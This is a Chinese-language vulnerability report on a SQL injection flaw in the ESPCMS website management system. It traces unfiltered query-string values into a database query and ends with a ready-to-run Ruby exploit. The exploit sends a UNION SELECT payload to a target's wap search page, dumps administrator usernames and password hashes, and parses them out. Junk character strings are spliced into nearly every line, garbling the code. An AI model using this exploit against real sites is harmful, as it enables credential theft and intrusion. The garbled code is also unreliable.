0×0 漏洞概述0×1 漏洞细节* U6 O; K6 U6 G& }; D
0×2 PoC6 ~# I$ X( U; C. ?/ U
' o: ?! X& ]$ [! m Z$ Y% [' ?' g: t# x/ }) F0 _3 }$ h
0 |! T1 n& M( G7 s* W0 R0×0 漏洞概述
- O, G! F- d, _' }0 A: g& Q1 P Y: h" [1 k( {& M
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。, f) ~0 E1 x: t3 G9 ]' V F/ S
其在处理传入的参数时考虑不严谨导致SQL注入发生
+ E3 e' a# g" F1 ]6 _
0 c1 I0 @2 B: g1 D I
: c/ H. B; p2 I3 R. o1 @0×1 漏洞细节+ g2 a, y; o+ v# {; U9 a5 X4 ^
6 ], R# [& J8 ^2 ]" y" ^
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
+ X6 P1 V8 r" f9 d) N% a正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。1 I2 @; [& H; O5 }/ L6 E+ U
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。2 _ P! C5 h- F/ ]4 F
% L, d5 ^5 o) ]7 ?# r/ H+ i
在/interface/3gwap_search.php文件的in_result函数中:
( j" U; J2 M$ h* R3 A0 x& [% K! B: ~7 D# C- B% L
, s5 M9 Z- t: b; O% e/ U9 Q, Y
7 A3 o% t# x+ Z8 e
function in_result() {* W8 o6 |" h% J: e6 |( O
... ... ... ... ... ... ... ... ...
0 @0 @: \" B3 L& }; R $urlcode = $_SERVER[ 'QUERY_STRING '];& a8 P1 W+ v' B: E3 t. ?
parse_str(html_entity_decode($urlcode), $output);7 {, I% {3 ^6 i' h" l
|/ ]) a7 d- n1 {: X. t: n( ~ ... ... ... ... ... ... ... ... ...
& z0 Y% a8 M% G2 _1 I if (is_array($output['attr' ]) && count($output['attr']) > 0) {# e: U r! {+ j9 C) Q
5 q+ b- F5 V4 D& q# R $db_table = db_prefix . 'model_att';3 J" L' b2 v4 d/ n/ @
9 f' o4 G) r: @3 w6 \5 V; w foreach ($output['attr' ] as $key => $value) {! L( V+ J) E0 v5 f
if ($value) {9 L7 |" B( A/ [% U3 n
' A% r4 t; y1 Z( D
$key = addslashes($key);
! g0 r5 ]/ t3 S6 C $key = $this-> fun->inputcodetrim($key);
* U! Y3 s; H$ D* t $db_att_where = " WHERE isclass=1 AND attrname='$key'"; I% U& [/ S( i# S
$countnum = $this->db_numrows($db_table, $db_att_where);
& B9 q& d+ e6 t; s: ^ if ($countnum > 0) {
0 |& f: f: T6 |* d' @ $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
0 p4 I5 t4 l, e2 Z. t* `! d }. d) d! o- g$ k2 {. G! K
}/ M" Y* L7 J! u
}
$ c" o% F' [, E: Q R8 v3 E }
* S( U: r4 S b9 v if (!empty ($keyword) && empty($keyname)) {
' N! t- F. r) ?9 X& M. N0 j m/ D2 e $keyname = 'title';. `1 L2 t6 j2 O' `, b) R. |
$db_where.= " AND a.title like '%$keyword%'" ;
+ P- y k# s5 I5 p( ^6 ^( g& ?* N O } elseif (!empty ($keyword) && !empty($keyname)) {+ ~. i+ L" d& |7 M" C4 h/ V
$db_where.= " AND $keyname like '% $keyword%'";( F* M8 }% v. r/ D1 ^* @/ R
}
* q6 t+ w: j5 I! ` $pagemax = 15;; S( T4 | y) f7 n4 u
" a5 B& K+ T1 Y1 F $pagesylte = 1;) ^! C# s/ E3 V {+ I$ h% K
. n3 O! ]/ j& U% i% C4 m8 R
if ($countnum > 0) {
" |. H' M4 s" ~! t
2 W, I, j4 r6 y. S $numpage = ceil($countnum / $pagemax);6 U' E( t) C+ ~
} else {' q$ @( V) Q: \+ O4 \
$numpage = 1;& h; O7 q8 ?4 _$ G: h! y
}5 ~2 B% |' J) m
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;; c- b, d" t/ l+ A- P3 m3 Z% b" y
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
: u% S+ G0 t0 z4 u; a$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
1 s8 ?7 ]- h5 v1 ?0 L" }5 K2 d: Z ... ... ... ... ... ... ... ... ...! Q$ m' K$ W! b
}: O9 `! O3 S; z# V9 `
5 K( }% h5 v) n5 u- D N( p. \/ a
" n5 P( S2 {7 {( a- D8 Y
0×2 PoC
! j# |& ?, R, |, v1 t9 q5 z L7 a1 A) Y2 L
+ ?, O! o6 z7 [" r4 A V4 b' B8 I9 o
require "net/http"
* q2 \7 E* a5 H. W4 e" z
2 o# u3 l' x( odef request(method, url)! e& B# ?7 c j! c8 U* Z# Q! a
if method.eql?("get")
( i+ g: l0 ^$ u: o% I9 T, d; U K uri = URI.parse(url)1 o8 W. Z4 I. [( V3 b& M+ q
http = Net::HTTP.new(uri.host, uri.port)
* L) H; h: A3 Y/ o! h response = http.request(Net::HTTP::Get.new(uri.request_uri))+ C3 K+ T, W/ m5 ~9 ^
return response6 S; {0 t5 @! Z5 u
end
- d, k9 \4 O4 tend' f3 N8 Z/ `$ B/ D
) B6 Y5 Q g; x2 [* w. L
doc =<<HERE- I9 k/ @$ P( S! B
-------------------------------------------------------& M: k& O" K: F `7 y
Espcms Injection Exploit
; m8 r. o7 j% d- u: xAuthor:ztz; k! L3 h; f+ A
Blog:http://ztz.fuzzexp.org/
+ j; u, b; \( N2 ]$ _! |-------------------------------------------------------! s, Q) _& G7 C# t: f- i i) [
: b: `7 N* p2 ?& a; ?/ O+ z) }HERE
; e3 v f0 f& Q# ~2 b
{* ^, h# l$ nusage =<<HERE
/ g( a5 H, y, D! f( F" O' VUsage: ruby #{$0} host port path) V3 `- C2 m0 o6 G) N# e. f. }" A
example: ruby #{$0} www.target.com 80 /
1 F4 y- A( M8 M1 i8 F$ ]# mHERE
z( v& y( F. N6 N
* K- U0 T2 {5 r* r4 `% g/ r% T! Fputs doc. ~" Z! ~ {* j: I4 I! G2 C. t
if ARGV.length < 3; b' V% S1 _# q* _' W! f" H8 w& f
puts usage
% K2 f. ~( A: X, T# g3 V- [else' w& k G3 q! J& k8 G9 P
$host = ARGV[0], G8 r5 [( G1 W# R) S/ d
$port = ARGV[1]: P: a! W3 `6 l1 p1 a) M% }6 z
$path = ARGV[2]
8 |9 @2 I0 J( p! J; e# {" d6 W
2 }! L( J& N. \1 e6 V; \- L puts "send request..."/ x! q! I( A; _0 g) x7 U; k
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
/ E8 N. |0 e" z& z$ W1 g: cattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13( ]! ~: L6 a7 ]1 r
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
5 z- t* a7 |6 N, _; F9 w,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"8 S2 K8 ]; O3 f
response = request("get", url)3 y* C6 o0 `4 ]# {! U. w
result = response.body.scan(/\w+&\w{32}/)
& a) E7 [+ I0 [* Q1 s+ l0 t puts result
) X9 m( u$ P1 d7 T" {& O" Hend
7 N6 b2 N+ j+ i# q8 U% {5 D& r( i3 k, G3 I q7 {, e' L
|